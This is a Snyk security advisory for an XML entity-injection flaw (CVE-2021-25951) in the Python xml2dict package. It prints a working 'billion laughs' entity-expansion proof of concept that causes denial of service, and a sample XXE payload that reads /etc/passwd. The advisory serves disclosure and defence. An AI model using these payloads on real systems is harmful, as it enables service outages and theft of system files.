XML External Entity (XXE) Injection Affecting xml2dict package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-XML2DICT-1315162
- published30 Jun 2021
- disclosed30 Jun 2021
- creditUnknown
Introduced: 30 Jun 2021
CVE-2021-25951 (opens in a new tab)How to fix?
There is no fixed version for XML2Dict.
Overview
XML2Dict is a convert xml file to python native dict object.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The function parse() does not restrict recursive entity references in DTDs in a specially crafted XML document, allowing an attacker to cause denial of service.
PoC
from encoder import XML2Dictxml2dic = XML2Dict() doc = """ <!--?xml version="1.0" ?--> <!DOCTYPE bombz [ <!ENTITY bomb "bomb"> <!ELEMENT bombz (#PCDATA)> <!ENTITY bomb1 "&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;"> <!ENTITY bomb2 "&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;&bomb1;"> <!ENTITY bomb3 "&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;"> <!ENTITY bomb4 "&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;"> <!ENTITY bomb5 "&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;"> <!ENTITY bomb6 "&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;"> <!ENTITY bomb7 "&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;"> <!ENTITY bomb8 "&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;"> <!ENTITY bomb9 "&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;"> ]> <bombz>&bomb9;</bombz> """
xml2dic.parse(doc)
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.